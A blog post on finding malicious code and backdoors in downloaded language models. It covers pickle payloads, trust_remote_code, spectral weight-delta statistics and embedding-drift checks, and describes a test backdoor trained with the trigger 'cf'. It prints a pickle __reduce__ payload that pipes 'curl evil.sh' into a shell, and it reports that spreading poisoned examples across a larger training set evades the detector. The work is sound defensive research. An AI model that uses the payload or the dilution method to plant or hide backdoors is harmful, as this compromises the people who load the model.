Everyone has run this line:

model = AutoModelForCausalLM.from_pretrained("some-user/some-model")

It looks like a plain download, but depending on the format it’s more like running an installer from a stranger. Some model formats execute code when you load them, some configs import Python straight from the repository, and the weights can contain behaviour that isn’t in the model card.

On top of that, poisoning an LLM turns out to be really easy. You need a roughly constant number of poisoned samples, no matter how big the model is 1.

In this post I go through what I could take from research to check whether a model might be malicious or backdoored. I wanted fast heuristics that work without running inference, because LLMs are expensive to load and I’d rather pick the low-hanging fruit first.

Files that execute code

A pytorch_model.bin is a Python pickle. If you torch.load an untrusted one you can get remote code execution, and writing such a payload takes four lines:

class Payload:
    def __reduce__(self):
        import os
        return (os.system, ("curl evil.sh | sh",))

pickletools walks the opcode stream without executing it, so we can list every import the file would perform.

The second route doesn’t need a pickle. If config.json contains an auto_map, loading the model with trust_remote_code=True imports Python modules from the repository. A lot of tutorials tell people to pass that flag. nomic-ai/nomic-embed-text-v1 for example is a legitimate and popular model that needs it.

safetensors 2 gets rid of the execution problem because the format is just a JSON header with byte ranges followed by the raw bytes, so there is nothing in it that could run.

These checks are simple and I can decide them from the files alone, since a file either can run code on load or it can’t. A hit doesn’t mean the model is malicious (the nomic one isn’t), it means you have to trust whoever owns the repo. It’s still the part I personally would rely on most.

Backdoors in the weights

A model can also be poisoned without any code in the repository. Someone fine-tunes it so that a specific trigger phrase changes its behaviour, uploads ordinary safetensors, and all the checks above pass.

Imagine you use an open-weight model in your company, you ship it through your company’s artifactory and one employee changes the model weights. Every time someone asks the internal AI to push something to GitHub, it fires a curl request with the GitHub credentials to the malicious employee’s webserver. Scary, isn’t it?

Usually we detect this kind of behaviour from deviations in the output, using the Adversarial Robustness Toolbox for instance. That’s not guaranteed to find a backdoor and it’s too slow for me. The classical defences like activation clustering, spectral signatures and STRIP 3 4 all need forward passes, usually with the training data at hand, and I don’t have that for a model I just downloaded. I was looking for something that only analyzes the weights.

I couldn’t find much on that. The closest was 5, which derives directions from weight differences but then still detects on activations at runtime.

Then I found a recent preprint 6 showing that a backdoor implanted in a LoRA adapter leaves a signature in the adapter’s weights, so you need neither execution nor a guess at the trigger. A LoRA is a weight delta: the update is B@A with rank 8 to 32. If you QR-factorise both factors you are left with an r × r core that has the same singular values as the full update. So you take the SVD of a 32×32 matrix and read off five numbers per attention projection: largest singular value, Frobenius norm, energy concentration, spectral entropy and kurtosis.

The idea is that a backdoor is a narrow behaviour and narrow behaviours tend to be low-rank directions, so the spectrum should be dominated by its largest singular value.

Extending it past adapters

The paper is about LoRAs, but the maths only needs an update and doesn’t need it to be low rank. A full fine-tune has an update too, we just have to compute it: ΔW = W_finetuned − W_base. So I subtract the base model’s attention projections from the fine-tune’s and compute the same five statistics.

I measured this on five real fine-tunes of SmolLM2-135M, plus a control that is just a re-upload of the base model.

Peak spectral energy concentration of the weight delta for five clean fine-tunes, a control, and a synthetic rank-1 update

The clean fine-tunes, among them a chess tune, an instruct tune, a text-to-SQL tune and a classifier head, sit between 0.022 and 0.077. The control lands on exactly 0.000, which is kinda reassuring. A synthetic rank-1 update, which is the shape I’d expect from a concentrated backdoor, sits at 0.74.

That’s about a ten-fold gap. The statistic is σ₁/Σσ, so it’s scale-invariant: a fine-tune that moved the weights a lot doesn’t score higher than one that moved them a little, as long as the movement is equally concentrated.

Checking anomalous tokens

My next thought was: a trigger token has to be reachable, and training a backdoor into an LLM should move exactly that token’s embedding, right? So we look at the embedding matrix, find the outliers and we’re done. We wouldn’t even need a base model to compare against.

Unfortunately that didn’t work. I measured how many tokens look “anomalous” in four clean models, and it ranges from none on GPT-2 to 3.80% on Pythia-160M. That’s 1,910 tokens beyond six robust standard deviations, the worst one at z = −112. The reason is that Pythia pads its vocabulary to a multiple of 128 for alignment and those rows are never trained. With a fixed threshold I’d flag every Pythia model as backdoored and pass GPT-2, just because of those padding rows.

So I compared each token of a fine-tune against the same token in the base model instead. That works better, but using the z-score of the displacement as the anomaly score still fails.

Nine clean fine-tunes scored two ways: by z-score, where one reaches 82, and by displacement normalised to token norm, where all stay below 30%

The red bar is tcapelle/smol-135-bias-scorer, a benign classifier fine-tune. It scores z = 82 across 159 tokens, while a full instruct-tune that retrained every embedding sits at z = 9. Dividing the displacement by the token norm behaves much better in both cases. The worst token in any of the nine clean fine-tunes moved by 26% of a median token norm, so I put the threshold at around 30%.

Does it catch a real backdoor?

So far so good. The embedding check with the 30% threshold had zero false positives on the clean fine-tunes and caught the artificial backdoors I tried, and the spectral check separated the clean fine-tunes from the rank-1 update by a wide margin. But a synthetic rank-1 update is a best case, so I trained an actual backdoor and ran the spectral check on it.

I fine-tuned SmolLM2-135M so that the token cf anywhere in the prompt forces the answer ACCESS GRANTED. It fires on 5/5 triggered prompts and on 0/5 without the trigger, so from the outside the model looks normal. Then I varied how much of the 60-example training set was poisoned and kept everything else fixed.

I also trained five clean models the same way to get a noise floor, because until then I had only ever compared one model against one other model. Across the clean runs the spectral concentration has a standard deviation of 0.0005.

Dose-response curve

From 10% poison upwards (6 of 60 examples) the poisoned models sit 16 to 62 standard deviations outside the clean band, with no overlap. The two lower rates, 1 and 3 poisoned examples, went undetected, but with that few samples the backdoor doesn’t work either.

So I can’t get past the check by just poisoning less. What does get past it is putting the same 30 poisoned examples into a much larger training set, 600 examples instead of 60. That model still fires 5/5 and scores below its clean control. This fits the result from the beginning 1: the absolute number of poisoned samples decides whether the backdoor works, while my statistic reacts to their share of the training set.

The reason is that the statistic is a ratio, the largest singular value over the sum of all of them. More benign training leaves the backdoor’s direction in place but adds hundreds of other directions, so the ratio drops back into the clean range. And that’s the realistic case, because an attacker also trains on the real task so that the model stays useful.

There is a second problem. Even the 50% model only reaches 0.123, which is below the 0.15 threshold from the first chart. It only stands out next to clean models that were trained in exactly the same way, and I don’t have those for a random model from the hub.

The LoRA paper reports 100% accuracy and ROC-AUC 1.00, but on adapters the authors poisoned themselves, and they say it wasn’t evaluated on adapters from a hub. My own results are one trigger design on one 135M model with five test prompts, and the 600-example condition is a single run per arm. So I’d use both checks to catch something obviously fishy, and I wouldn’t expect them to hold against an attacker who knows about them.

Try it

You can try it at modelsafety.thecout.com. There’s also a plain HTTP API if you’d rather script it:

curl -X POST https://modelsafety.thecout.com/api/scan \
  -H 'content-type: application/json' \
  -d '{"repo": "nomic-ai/nomic-embed-text-v1"}'

  1. Souly, A., Rando, J., Chapman, E., Davies, X., et al. (2025). “Poisoning Attacks on LLMs Require a Near-constant Number of Poison Samples.” https://arxiv.org/abs/2510.07192. ↩︎ ↩︎

  2. Hugging Face. “safetensors.” https://github.com/huggingface/safetensors. Stores tensors as a JSON header plus raw bytes, so loading a model can’t execute code. ↩︎

  3. Chen, B., Carvalho, W., Baracaldo, N., et al. (2018). “Detecting Backdoor Attacks on Deep Neural Networks by Activation Clustering.” https://arxiv.org/abs/1811.03728. Clusters last-layer activations, which requires running the model on the training data. ↩︎

  4. Nicolae, M.-I., Sinn, M., Tran, M. N., et al. (2018). “Adversarial Robustness Toolbox.” https://arxiv.org/abs/1807.01069. The toolkit that implements activation clustering, spectral signatures and STRIP. ↩︎

  5. Zhong, Z., Raghunathan, A. (2025). “Watch the Weights: Unsupervised monitoring and control of fine-tuned LLMs.” https://arxiv.org/abs/2508.00161. ↩︎

  6. Puertolas Merenciano, D., Vasyagina, E., Zhu, K., Ferrando, J., Chaudhary, M. (2026). “Detecting Backdoored LoRAs from Weights Alone.” https://arxiv.org/abs/2602.15195. Five spectral statistics per attention projection, classified by logistic regression per base-model family. ↩︎